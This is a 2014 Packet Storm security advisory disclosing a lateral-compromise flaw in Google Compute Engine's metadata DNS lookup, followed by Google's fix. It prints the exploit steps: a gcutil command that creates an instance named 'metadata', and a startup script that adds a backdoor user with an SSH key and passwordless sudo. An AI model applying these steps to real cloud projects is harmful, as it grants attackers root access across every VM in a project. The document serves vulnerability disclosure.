what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Google Compute Engine Lateral Compromise

Google Compute Engine Lateral Compromise
Posted May 30, 2014
Authored by Scott T. Cameron

A user who creates a GCE VM with compute-rw privileges, who subsequently has that single VM compromised, can lead to a global compromise of all VMs inside of the account.

tags | exploit
SHA-256 | 84a88f6be8ba62330e5f81858beb2371ac0e62574b8d7738caa92531e3dc04d3

Google Compute Engine Lateral Compromise

Change Mirror Download
A user who creates a GCE VM with compute-rw privileges, who
subsequently has that single VM compromised, can lead to a global
compromise of all VMs inside of the account.


VMs created in the web UI, by default, come with compute-rw privileges.


Google’s account manager fetches ssh keys from the Google Metadata
server on a short DNS name, which relies on DNS to expand to FQDN:

/usr/share/google/google_daemon/desired_accounts.py:

ATTRIBUTES_URL = ('http://metadata/computeMetadata/v1/?recursive=true&%s')

INSTANCE_SSHKEYS_URL = (

'http://metadata/computeMetadata/v1/instance/attributes/sshKeys?%s')

PROJECT_SSHKEYS_URL = (

'http://metadata/computeMetadata/v1/project/attributes/sshKeys?%s')


We can exploit this by relying on Google’s addinstnace command to
automatically add a new instance to the recursive DNS provider @
169.254.169.254:


gcutil addinstance
--image=projects/debian-cloud/global/images/backports-debian-7-wheezy-v20140331
--zone=us-central1-a --machine_type=n1-standard-2
--metadata_from_file=startup-script:google-base.txt metadata


— startup-script:

#!/bin/bash


export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin


useradd testuser

mkdir -p /home/testuser/.ssh

cat <<EOF > /home/testuser/.ssh/authorized_keys

ssh-rsa superawesome ssh@key

EOF

chmod 644 /home/testuser/.ssh/authorized_keys

cat <<EOF >>/etc/sudoers

testuser ALL=NOPASSWD: ALL

EOF


exit 0


Once the system is online, google’s account manager and google’s
address manager will start making TCP/80 calls to our new server.
This would allow you to compromise all Google Compute Engine VMs in
the Google Project, as it would allow you to inject your own ssh key
in to metadata's sshkeys k/v pair.

Last but not least, if you otherwise had the ability to compromise DNS
responses of Google Compute Engine VMs, you could simply use the lack
of HMAC/DNS suffix in desired_accounts.py to compromise your targets.

Response
-------------

Google has updated its desired_accounts.py as follows:


METADATA_V1_URL_PREFIX = 'http://169.254.169.254/computeMetadata/v1/'


This avoids the problem on all newly created GCE VMs. However, older
instances do not have any update mechanism available to them, leaving
a substantial number of GCE VMs vulnerable.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close